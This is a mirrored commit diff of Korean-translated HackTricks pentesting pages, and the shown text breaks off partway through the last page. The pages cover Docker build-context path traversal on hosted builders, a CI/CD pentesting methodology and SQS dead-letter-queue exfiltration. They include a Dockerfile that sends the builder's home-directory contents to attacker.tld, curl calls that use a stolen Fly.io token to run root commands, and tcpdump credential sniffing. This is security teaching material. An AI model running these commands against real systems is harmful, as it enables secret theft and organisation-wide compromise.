mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p
This commit is contained in:
100
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
100
src/pentesting-ci-cd/docker-build-context-abuse.md
Normal file
@@ -0,0 +1,100 @@
|
||||
# Hosted Builders에서 Docker Build Context 악용 (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
CI/CD 플랫폼이나 hosted builder가 기여자에게 Docker build context 경로와 Dockerfile 경로를 지정하도록 허용하면, context를 상위 디렉토리(예: "..")로 설정해 호스트 파일을 build context의 일부로 만들 수 있는 경우가 많습니다. 그러면 공격자가 제어하는 Dockerfile이 COPY로 빌더 사용자 홈(예: ~/.docker/config.json)에 있는 비밀을 exfiltrate할 수 있습니다. 도난당한 registry tokens는 provider의 control-plane APIs에 대해 작동하여 조직 전체의 RCE를 가능하게 할 수도 있습니다.
|
||||
|
||||
## 공격 표면
|
||||
|
||||
많은 hosted builder/registry 서비스는 사용자가 제출한 이미지를 빌드할 때 대략 다음과 같은 작업을 수행합니다:
|
||||
- repo-level config를 읽는데 여기에는 다음이 포함됩니다:
|
||||
- build context path (Docker daemon으로 전송됨)
|
||||
- Dockerfile path (해당 context에 상대적)
|
||||
- 지정된 build context 디렉토리와 Dockerfile을 Docker daemon으로 복사
|
||||
- 이미지를 빌드하고 hosted service로 실행
|
||||
|
||||
플랫폼이 build context를 canonicalize하거나 제한하지 않으면 사용자가 그것을 저장소 외부의 위치(path traversal)로 설정할 수 있으며, 이로 인해 빌드 사용자가 읽을 수 있는 임의의 호스트 파일들이 build context의 일부가 되어 Dockerfile에서 COPY로 접근 가능해집니다.
|
||||
|
||||
일반적으로 관찰되는 실무적 제약:
|
||||
- Dockerfile은 선택한 context path 내에 있어야 하며 그 경로는 사전에 알려져 있어야 합니다.
|
||||
- 빌드 사용자가 context에 포함된 파일들을 읽을 수 있는 권한이 있어야 합니다; 특수 디바이스 파일은 복사를 실패시킬 수 있습니다.
|
||||
|
||||
## PoC: Docker build context를 통한 Path traversal
|
||||
|
||||
상위 디렉토리 컨텍스트 내에 Dockerfile을 선언한 악성 서버 구성 예:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
- Using ".." often resolves to the builder user’s home (e.g., /home/builder), which typically contains sensitive files.
|
||||
- Place your Dockerfile under the repo’s directory name (e.g., repo "test" → test/Dockerfile) so it remains within the expanded parent context.
|
||||
|
||||
## PoC: Dockerfile to ingest and exfiltrate the host context
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
$HOME에서 일반적으로 회수되는 대상:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- 기타 cloud/CLI 캐시 및 설정(예: ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
팁: 저장소에 .dockerignore가 있더라도 취약한 플랫폼 측의 context selection이 무엇이 daemon으로 전송되는지를 결정합니다. 플랫폼이 선택된 경로를 repo의 .dockerignore를 평가하기 전에 daemon으로 복사하면 호스트 파일이 여전히 노출될 수 있습니다.
|
||||
|
||||
## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
|
||||
|
||||
일부 플랫폼은 container registry와 control-plane API 모두에 사용할 수 있는 단일 bearer token을 발급합니다. registry token을 exfiltrate했다면 provider API에 대해 시도해보세요.
|
||||
|
||||
예: ~/.docker/config.json에서 훔친 token을 사용한 Fly.io Machines API에 대한 API 호출 예:
|
||||
|
||||
조직에서 앱 열거:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
앱의 어떤 머신에서든 root로 명령 실행:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
결과: 토큰이 충분한 권한을 가진 경우, 모든 호스팅된 앱에서 조직 전반에 걸친 remote code execution.
|
||||
|
||||
## 탈취된 호스팅 서비스에서의 비밀 탈취
|
||||
|
||||
호스팅된 서버에서 exec/RCE를 획득하면, 클라이언트가 제공한 비밀(API keys, tokens)을 수집하거나 prompt-injection 공격을 수행할 수 있습니다. 예: tcpdump를 설치하고 port 8080의 HTTP 트래픽을 캡처하여 들어오는 자격 증명을 추출합니다.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
캡처된 요청에는 종종 헤더, 본문 또는 쿼리 파라미터에 클라이언트 자격 증명이 포함되어 있습니다.
|
||||
|
||||
## 참조
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Pentesting CI/CD 방법론
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, 이 시스템은 개발자가 **소스 코드를 관리**할 수 있게 해준다. 가장 흔한 것은 **git**이며, 보통 기업들은 다음과 같은 **플랫폼** 중 하나를 사용한다:
|
||||
VCS는 **Version Control System**의 약자로, 이 시스템은 개발자가 **소스 코드를 관리**할 수 있게 해줍니다. 가장 일반적인 것은 **git**이며 보통 회사에서는 다음 **platforms** 중 하나를 사용합니다:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,88 +18,93 @@ VCS stands for **Version Control System**, 이 시스템은 개발자가 **소
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines는 개발자가 애플리케이션을 빌드, 테스트, 배포하는 등 다양한 목적을 위해 **코드 실행을 자동화**할 수 있게 해준다. 이러한 자동화된 워크플로우는 코드 푸시, pull requests, 스케줄된 작업 등 특정 액션에 의해 **트리거**된다. 개발에서 운영까지의 과정을 간소화하는 데 유용하다.
|
||||
|
||||
다만 이러한 시스템들은 **어딘가에서 실행될 필요가 있으며**, 보통은 **코드를 배포하거나 민감한 정보에 접근하기 위한 권한 있는 자격증명**을 필요로 한다.
|
||||
CI/CD 파이프라인은 개발자가 애플리케이션을 빌드, 테스트, 배포하는 등 다양한 목적으로 **코드 실행을 자동화**할 수 있게 해줍니다. 이러한 자동화된 워크플로우는 코드 푸시, pull request, 스케줄된 작업 같은 **특정 액션에 의해 트리거**됩니다. 이들은 개발에서 운영까지의 과정을 간소화하는 데 유용합니다.
|
||||
|
||||
하지만 이 시스템들은 어딘가에서 **실행되어야 하고**, 보통은 **코드를 배포하거나 민감한 정보에 접근하기 위한 권한이 있는 자격 증명**으로 실행됩니다.
|
||||
|
||||
## VCS Pentesting 방법론
|
||||
|
||||
> [!NOTE]
|
||||
> 일부 VCS 플랫폼이 파이프라인을 생성하도록 허용하더라도 이 섹션에서는 소스 코드의 제어를 악용할 수 있는 잠재적 공격만을 분석한다.
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
프로젝트의 소스 코드를 포함하는 플랫폼에는 민감한 정보가 포함될 수 있으므로 내부 권한 관리에 각별히 주의해야 한다. 공격자가 악용할 수 있는 VCS 플랫폼 전반의 일반적인 문제는 다음과 같다:
|
||||
|
||||
- **Leaks**: 코드에 leak가 커밋에 포함되어 있고 공격자가 해당 리포지토리에 접근할 수 있다면(퍼블릭이거나 접근 권한이 있는 경우) 해당 leak를 발견할 수 있다.
|
||||
- **Access**: 공격자가 VCS 플랫폼 내의 계정에 **접근할 수 있다면**, 더 많은 가시성 및 권한을 얻을 수 있다.
|
||||
- **Register**: 일부 플랫폼은 외부 사용자가 계정을 생성하는 것을 허용한다.
|
||||
- **SSO**: 일부 플랫폼은 사용자의 직접 등록을 허용하지 않지만 유효한 SSO로는 누구나 접근할 수 있게 하는 경우가 있다(예: 공격자가 자신의 github 계정으로 접근).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies 등 다양한 종류의 토큰을 탈취하여 리포지토리에 접근할 수 있다.
|
||||
- **Webhooks**: VCS 플랫폼은 Webhooks를 생성할 수 있게 한다. 이들이 눈에 보이지 않는 비밀로 보호되어 있지 않다면 **공격자가 이를 악용할 수 있다**.
|
||||
- 비밀이 없는 경우 공격자는 서드파티 플랫폼의 webhook을 악용할 수 있다.
|
||||
- 비밀이 URL에 포함되어 있다면 동일하게 공격자가 그 비밀을 함께 얻게 된다.
|
||||
- **Code compromise:** 악성 행위자가 리포지토리에 대한 **쓰기 권한(write)**을 갖고 있다면 악의적인 코드를 **주입**하려 할 수 있다. 성공하려면 브랜치 보호를 **우회**해야 할 수도 있다. 이런 행위의 목적은 다양하다:
|
||||
- 메인 브랜치를 손상시켜 **production을 침해**.
|
||||
- 메인(또는 기타) 브랜치를 손상시켜 **개발자 머신을 침해**(개발자들이 로컬에서 테스트, terraform 등 리포지토리 내 작업을 수행하기 때문).
|
||||
- **파이프라인을 침해** (다음 섹션 참조)
|
||||
프로젝트의 소스 코드를 포함하는 플랫폼은 민감한 정보를 담고 있으므로 플랫폼 내 권한 설정에 매우 유의해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼 전반의 일반적인 문제들은 다음과 같습니다:
|
||||
|
||||
- **Leaks**: 코드에 leak가 포함되어 있고 공격자가 repo에 접근할 수 있다면(퍼블릭이거나 접근 권한이 있는 경우) 해당 leak를 발견할 수 있습니다.
|
||||
- **Access**: 공격자가 VCS platform 내의 계정에 **접근(access)**할 수 있다면 **더 많은 가시성 및 권한**을 얻을 수 있습니다.
|
||||
- **Register**: 일부 플랫폼은 외부 사용자가 계정을 생성하는 것을 허용합니다.
|
||||
- **SSO**: 일부 플랫폼은 사용자가 직접 등록하는 것은 허용하지 않지만 유효한 SSO로 누구나 접근할 수 있게 허용하기도 합니다(예: 공격자가 자신의 github 계정으로 접근할 수 있음).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies 등 다양한 종류의 토큰을 공격자가 훔쳐서 repo에 어떤 식으로든 접근할 수 있습니다.
|
||||
- **Webhooks**: VCS 플랫폼은 webhooks를 생성할 수 있게 해줍니다. 만약 webhooks가 보이지 않는 비밀값으로 **보호되어 있지 않다면**, **공격자가 이를 악용할 수 있습니다**.
|
||||
- 만약 시크릿이 없는 상태라면, 공격자는 서드파티 플랫폼의 webhook을 악용할 수 있습니다.
|
||||
- 시크릿이 URL에 포함되어 있다면 동일하게 시크릿을 얻어 공격에 악용할 수 있습니다.
|
||||
- **Code compromise:** 악의적인 행위자가 repo에 **write** 권한을 가지고 있다면 **악성 코드 주입**을 시도할 수 있습니다. 성공하려면 **branch protections를 우회**해야 할 수도 있습니다. 이러한 행위는 여러 목적을 가질 수 있습니다:
|
||||
- main branch를 손상시켜 **production을 침해**.
|
||||
- main(또는 다른) 브랜치를 손상시켜 **개발자 기기들을 침해** (개발자들이 테스트, terraform 등 repo 내에서 실행하기 때문).
|
||||
- **파이프라인 침해** (다음 섹션 참조)
|
||||
|
||||
## Pipelines Pentesting 방법론
|
||||
|
||||
파이프라인을 정의하는 가장 일반적인 방법은 **리포지토리에 호스팅된 CI 구성 파일(CI configuration file)** 을 사용하는 것이다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 주는 조건들, 빌드 환경 설정 등을 설명한다.\
|
||||
이러한 파일들은 일반적으로 일관된 이름과 형식을 가진다. 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 그리고 .github/workflows 아래의 GitHub Actions YAML 파일들. 트리거되면 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 pull**하고, CI 구성 파일에 지정된 **명령들을 해당 코드에 대해 실행**한다.
|
||||
파이프라인을 정의하는 가장 일반적인 방법은 **빌드되는 리포지토리에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 미치는 조건, 빌드 환경 설정을 설명합니다.\
|
||||
이 파일들은 일반적으로 일관된 이름과 포맷을 가지며, 예를 들어 Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 그리고 .github/workflows 아래의 GitHub Actions YAML 파일들이 있습니다. 트리거되면 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 pull**하고, CI 구성 파일에 명시된 **명령들을 해당 코드에 대해 실행**합니다.
|
||||
|
||||
따라서 공격자의 궁극적 목표는 이들 구성 파일 또는 이들이 실행하는 **명령어들을 어떻게든 손상시키는 것**이다.
|
||||
따라서 공격자의 궁극적 목표는 해당 구성 파일들이나 **구성 파일이 실행하는 명령들**을 어떤 방식으로든 **침해(compromise)**하는 것입니다.
|
||||
|
||||
> [!TIP]
|
||||
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Poisoned Pipeline Execution (PPE) 경로는 SCM 리포지토리의 권한을 악용해 CI 파이프라인을 조작하고 악성 명령을 실행하게 만든다. 필요한 권한을 가진 사용자는 CI 구성 파일이나 파이프라인 작업에서 사용하는 다른 파일들을 수정해 악성 명령을 포함시킬 수 있다. 이렇게 하면 CI 파이프라인이 "poison"되어 이들 악성 명령이 실행된다.
|
||||
Poisoned Pipeline Execution (PPE) 경로는 SCM 리포지토리의 권한을 악용하여 CI 파이프라인을 조작하고 유해한 명령을 실행하게 합니다. 필요한 권한이 있는 사용자는 CI 구성 파일이나 파이프라인 작업이 사용하는 다른 파일을 수정하여 악성 명령을 포함시킬 수 있습니다. 이렇게 CI 파이프라인이 "poison"되면 해당 악성 명령이 실행됩니다.
|
||||
|
||||
공격자가 PPE 공격을 성공적으로 수행하려면 다음이 필요하다:
|
||||
공격자가 PPE 공격을 성공적으로 수행하려면 다음이 필요합니다:
|
||||
|
||||
- 보통 파이프라인은 push나 pull request가 수행될 때 트리거되므로 **VCS 플랫폼에 대한 write access**를 가지고 있어야 한다. (접근을 얻는 방법은 VCS pentesting 방법론 섹션을 참조).
|
||||
- 때로는 외부 PR도 "write access"로 간주될 수 있다.
|
||||
- 쓰기 권한이 있더라도 CI 구성 파일이나 구성에서 의존하는 다른 파일을 **수정할 수 있는지** 확실히 해야 한다.
|
||||
- 이를 위해 브랜치 보호를 **우회**할 수 있어야 할 수도 있다.
|
||||
- 보통 파이프라인은 push나 pull request가 수행될 때 트리거되므로, **VCS platform에 대한 write access**가 필요합니다. (VCS pentesting 방법론 섹션에서 접근 획득 방법 요약을 확인하세요).
|
||||
- 때로는 **외부 PR도 "write access"로 간주될 수 있다는 점**에 주의하세요.
|
||||
- write 권한이 있더라도, **CI config 파일이나 config가 의존하는 다른 파일을 수정할 수 있어야** 합니다.
|
||||
- 이를 위해서는 **branch protections를 우회**할 수 있어야 할 수 있습니다.
|
||||
|
||||
PPE에는 3가지 형태가 있다:
|
||||
PPE에는 3가지 변형이 있습니다:
|
||||
|
||||
- **D-PPE**: Direct PPE — 행위자가 **실행될 CI 구성 파일을 직접 수정**할 때 발생한다.
|
||||
- **I-DDE**: Indirect PPE — 행위자가 CI 구성 파일이 **의존하는 파일(예: Makefile, terraform 구성 등)을 수정**할 때 발생한다.
|
||||
- **Public PPE or 3PE**: 경우에 따라 파이프라인은 리포지토리에 write access가 없는 사용자(조직 소속이 아닐 수도 있는)가 PR을 보낼 수 있기 때문에 **그러한 유저에 의해 트리거**될 수 있다.
|
||||
- **3PE Command Injection**: 일반적으로 CI/CD 파이프라인은 PR에 대한 **정보를 env variables**로 설정한다. 만약 그 값(예: PR의 제목)을 공격자가 제어할 수 있고 그 값이 위험한 위치(예: sh 명령 실행)에 **사용된다면**, 공격자는 **그 안에 명령을 주입**할 수 있다.
|
||||
- **D-PPE**: 공격자가 실행될 CI config 파일을 직접 **수정**할 때 발생하는 **Direct PPE** 공격입니다.
|
||||
- **I-DDE**: 공격자가 CI config가 **의존하는 파일(예: makefile, terraform config 등)**을 **수정**할 때 발생하는 **Indirect PPE** 공격입니다.
|
||||
- **Public PPE or 3PE**: 경우에 따라 파이프라인은 repo에 write access가 없는 사용자(심지어 조직 외부 사용자)도 PR을 보내 트리거할 수 있습니다.
|
||||
- **3PE Command Injection**: 보통 CI/CD 파이프라인은 PR에 대한 정보를 담은 **environment variables**를 설정합니다. 그 값이 공격자에 의해 제어될 수 있고(예: PR 제목) **위험한 곳(예: sh 명령 실행)에 사용**된다면 공격자는 그곳에 **명령을 주입**할 수 있습니다.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
세 가지 PPE 형태를 알았으니, 공격자가 성공적으로 침투했을 때 얻을 수 있는 것들을 살펴보자:
|
||||
세 가지 PPE 변형을 알았으니, 공격자가 성공적으로 악용했을 때 얻을 수 있는 것들을 살펴보겠습니다:
|
||||
|
||||
- **Secrets**: 앞서 언급했듯이 파이프라인 작업은 코드 조회, 빌드, 배포 등을 위해 **권한**을 필요로 하며 이 권한들은 보통 **secrets**로 부여된다. 이 secrets는 보통 **env variables나 시스템 내부의 파일**을 통해 접근 가능하다. 따라서 공격자는 가능한 한 많은 secrets를 탈취하려 할 것이다.
|
||||
- 파이프라인 플랫폼에 따라 공격자는 **구성 파일에 secrets를 명시해야 하는 경우**가 있다. 즉 공격자가 CI 구성 파일 자체를 수정할 수 없다면(**I-PPE** 같은 경우), 그는 **그 파이프라인이 이미 가진 secrets만** 탈취할 수 있다.
|
||||
- **Computation**: 코드가 어딘가에서 실행되므로 실행 위치에 따라 공격자는 추가적인 피벗이 가능할 수 있다.
|
||||
- **On-Premises**: 파이프라인이 온프레미스에서 실행된다면 공격자는 내부 네트워크에 도달해 더 많은 리소스에 접근할 수 있다.
|
||||
- **Cloud**: 공격자는 클라우드 내 다른 머신에 접근하거나 IAM 역할/서비스 계정 토큰을 탈취해 클라우드 내부에서 추가 권한을 얻을 수 있다.
|
||||
- **Platforms machine**: 때때로 작업은 파이프라인 플랫폼의 머신 내에서 실행되며, 이 머신들은 보통 더 이상의 액세스가 없는 클라우드 환경에 존재한다.
|
||||
- **Select it:** 일부 파이프라인 플랫폼은 여러 머신을 구성해두고, CI 구성 파일을 수정할 수 있다면 **어떤 머신에서 악성 코드를 실행할지 지정**할 수 있다. 이런 경우 공격자는 가능한 각 머신에 리버스 셸을 띄워 추가 공격을 시도할 것이다.
|
||||
- **Compromise production**: 파이프라인 내부에 침투해 최종 버전이 파이프라인에서 빌드되어 배포된다면, 운영 환경에서 실행될 코드를 **침해**할 수 있다.
|
||||
- **Secrets**: 앞서 언급했듯이 파이프라인 작업은 코드 검색, 빌드, 배포 등을 위해 **특권**이 필요하고, 이러한 특권은 보통 **시크릿**으로 부여됩니다. 이 시크릿들은 보통 **env variables 또는 시스템 내 파일**을 통해 접근 가능하므로 공격자는 가능한 많은 시크릿을 탈취하려고 합니다.
|
||||
- 파이프라인 플랫폼에 따라 공격자는 **config에 시크릿을 명시해야 하는 경우**가 있습니다. 이는 공격자가 CI 구성 파일을 수정할 수 없는 경우(**I-PPE 등**)라면 해당 파이프라인이 가진 시크릿만 탈취할 수 있다는 의미입니다.
|
||||
- **Computation**: 코드가 어딘가에서 실행되므로, 실행 위치에 따라 공격자는 추가로 피벗할 수 있습니다.
|
||||
- **On-Premises**: 파이프라인이 온프레미스에서 실행된다면 공격자는 내부 네트워크에 도달하여 더 많은 자원에 접근할 수 있습니다.
|
||||
- **Cloud**: 공격자는 클라우드 내 다른 머신에 접근하거나 IAM 역할/서비스 계정 토큰을 탈취해 클라우드 내부에서 더 많은 권한을 얻을 수 있습니다.
|
||||
- **Platforms machine**: 때때로 작업은 파이프라인 플랫폼의 머신에서 실행되며, 이 머신들은 보통 더 이상의 접근 권한이 없는 클라우드 환경에 있습니다.
|
||||
- **Select it:** 때때로 파이프라인 플랫폼은 여러 대의 머신을 구성해두고 있으며, CI 구성 파일을 수정할 수 있다면 **어떤 머신에서 악성 코드를 실행할지 지정**할 수 있습니다. 이 경우 공격자는 가능한 각 머신에 리버스 셸을 실행해 추가 취약점을 노릴 것입니다.
|
||||
- **Compromise production**: 파이프라인 안에 있고 최종 버전이 파이프라인에서 빌드되어 배포된다면, 운영 환경에서 실행될 코드를 **침해**할 수 있습니다.
|
||||
|
||||
## More relevant info
|
||||
## 추가 관련 정보
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 은 소프트웨어 공급망 스택을 감사하여 새로운 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 기준에 따라 보안 컴플라이언스를 확인하는 오픈소스 도구다. 이 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 시점부터 배포 시점까지의 리스크를 드러낼 수 있다.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 는 새로운 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)를 기반으로 소프트웨어 공급망 스택의 보안 규정 준수를 감사하는 오픈소스 도구입니다. 이 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 단계부터 배포 단계까지의 리스크를 드러낼 수 있습니다.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Cider가 정리한 CI/CD 상위 10가지 리스크에 대한 흥미로운 글을 확인하라: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Cider에 따르면 CI/CD의 상위 10개 리스크에 관한 흥미로운 기사: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- 로컬에서 실행할 수 있는 각 플랫폼별로 로컬 런칭 방법이 제공되어 원하는 대로 구성하여 테스트할 수 있다.
|
||||
- 로컬에서 실행할 수 있는 각 플랫폼에 대해 로컬로 어떻게 실행하는지 설명이 있으니 원하는 대로 구성하여 테스트할 수 있습니다.
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**는 infrastructure-as-code에 대한 정적 코드 분석 도구이다.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**는 infrastructure-as-code에 대한 정적 코드 분석 도구입니다.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,154 +0,0 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 설명
|
||||
|
||||
SQS의 message move task를 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자가 제어하는 큐로 `sqs:StartMessageMoveTask`를 사용해 리다이렉트하여 탈취합니다. 이 기법은 AWS의 정당한 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 축적된 민감한 데이터를 탈취합니다.
|
||||
|
||||
## Dead-Letter Queue (DLQ)란 무엇인가?
|
||||
|
||||
Dead-Letter Queue는 주요 애플리케이션에서 메시지 처리가 실패했을 때 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다:
|
||||
- 처리되지 못한 민감한 애플리케이션 데이터
|
||||
- 오류 세부 정보 및 디버깅 정보
|
||||
- Personal Identifiable Information (PII)
|
||||
- API 토큰, 자격 증명 또는 기타 비밀 정보
|
||||
- 비즈니스에 중요한 트랜잭션 데이터
|
||||
|
||||
DLQ는 실패한 메시지의 "무덤" 역할을 하며, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터가 축적되기 때문에 가치 있는 타깃입니다.
|
||||
|
||||
## 공격 시나리오
|
||||
|
||||
**실제 사례:**
|
||||
1. **E-commerce application**이 SQS를 통해 고객 주문을 처리한다
|
||||
2. **일부 주문이 실패한다**(결제 문제, 재고 문제 등) 그리고 DLQ로 이동한다
|
||||
3. **DLQ가 수주/수개월 동안 실패한 주문을 누적**하며 고객 데이터가 쌓인다: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **공격자가 AWS 자격 증명에 접근**하게 된다
|
||||
5. **공격자가 DLQ에 민감한 데이터가 수천 건 쌓여 있음을 발견**한다
|
||||
6. **개별 메시지에 접근하려 시도하는 대신**(느리고 눈에 띔) 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송한다
|
||||
7. **공격자가 한 번의 작업으로** 모든 과거 민감한 데이터를 추출한다
|
||||
|
||||
## 요구 조건
|
||||
- 소스 큐는 DLQ로 구성되어 있어야 한다(최소 하나의 큐에서 RedrivePolicy로 참조됨).
|
||||
- IAM 권한 (침해된 피해자 주체로 실행):
|
||||
- DLQ(소스)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- 대상 큐에서: 메시지 전달 권한(예: queue policy가 피해자 주체로부터의 `sqs:SendMessage`를 허용). 동일 계정의 대상인 경우 일반적으로 기본적으로 허용됨.
|
||||
- SSE-KMS가 활성화된 경우: 소스 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## 영향
|
||||
네이티브 SQS API를 사용해 DLQ에 누적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드 등)를 고속으로 탈취할 수 있습니다. 대상 큐 정책이 피해자 주체로부터의 `SendMessage`를 허용하면 크로스-계정에서도 작동합니다.
|
||||
|
||||
## 악용 방법
|
||||
|
||||
- 피해자 DLQ ARN을 식별하고 해당 큐가 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음).
|
||||
- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 해당 큐의 ARN을 확보합니다.
|
||||
- 피해자 DLQ에서 대상 큐로 message move task를 시작합니다.
|
||||
- 진행 상황을 모니터링하거나 필요 시 취소합니다.
|
||||
|
||||
### CLI 예제: E-commerce DLQ에서 고객 데이터 탈취
|
||||
|
||||
**시나리오**: 공격자가 AWS 자격 증명을 탈취했고, 한 전자상거래 애플리케이션이 SQS와 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하고 있음을 발견했다.
|
||||
|
||||
1) **피해자 DLQ 발견 및 검사**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **공격자가 제어하는 대상 큐 생성**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **bulk message theft을 실행**
|
